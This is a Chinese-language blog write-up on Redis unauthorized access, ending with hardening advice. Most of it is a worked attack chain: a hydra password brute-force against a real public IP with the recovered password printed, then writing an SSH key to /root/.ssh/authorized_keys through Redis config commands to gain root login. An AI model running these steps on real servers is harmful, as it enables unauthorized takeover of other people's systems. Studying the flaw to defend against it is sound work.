Redis未授权访问漏洞


0x00 应用介绍

  Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API

0x01 漏洞介绍

  Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。


0x02 未授权访问检测

  Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。


0x03 使用 cupp + hydra 爆破Redis密码

Kaysen-MacBook-Pro:~ xujiantao$ hydra -P /Users/xujiantao/Documents/passwd.txt redis://101.200.135.227:6379
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-04-21 21:00:10
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking redis://101.200.135.227:6379/
[6379][redis] host: 101.200.135.227   password: lxsRSd61
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-04-21 21:00:11


0x04 写入ssh公钥,获取操作系统权限

  原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

1. 注释掉以下绑定,开启远程访问

# bind 127.0.0.1

2. 本地建个ssh的秘钥

ssh-keygen -t rsa

3. 将公钥导入key.log文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.log文件内容写入目标主机的缓冲里:

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.log

4. 将key.log内容写入到服务器redis内,将内容保存成authorized_keys

Kaysen-MacBook-Pro:redis xujiantao$ cat /Users/xujiantao/key.log | ./redis-cli -h 101.200.135.227 -a lxsRSd61 -x set xxx
OK
Kaysen-MacBook-Pro:redis xujiantao$
101.200.135.227:6379> config set dir /root/.ssh
OK
101.200.135.227:6379> config set dbfilename authorized_keys
OK
101.200.135.227:6379> save
OK

5. 连接服务器,获得root权限

Kaysen-MacBook-Pro:redis xujiantao$ ssh root@101.200.135.227
Last login: Tue Apr 17 23:07:46 2018 from 114.245.168.89

Welcome to Kaysen Elastic Compute Service!

[root@iZ25mqhigubZ ~]# 


0x05 漏洞修复建议

1.开启Redis IP访问限制,只允许授权白名单的IP访问

2.设置复杂的Redis密码,更改Redis默认端口,不使用root权限启动redis服务

3.禁止root直接登录服务器,使用其他账号登录后su root 4.加固ssh配置,更改默认authorized_keys名称

推荐ssh配置

vim /etc/ssh/sshd_config
AuthorizedKeysFile  .ssh/authorized_keys
ChallengeResponseAuthentication no
GSSAPIAuthentication yes
X11Forwarding yes
PermitRootLogin no
PasswordAuthentication yes
service sshd restart

0x06 总结

  由此可见,该漏洞主要原因为开启了远程访问同时存在弱口令或空口令造成的;其危害程度比较严重,在拿到服务器root权限后我们可以获取到任何想要的信息以及篡改敏感数据,甚至可以留下后门当做肉鸡使用,例如植入一些minerd挖矿程序。

参考:
http://www.freebuf.com/vuls/173638.html
http://blog.51cto.com/zhpfbk/2054574
https://www.cnblogs.com/rosepotato/p/5997122.html

标签: redis未授权访问漏洞, redis未授权, redis漏洞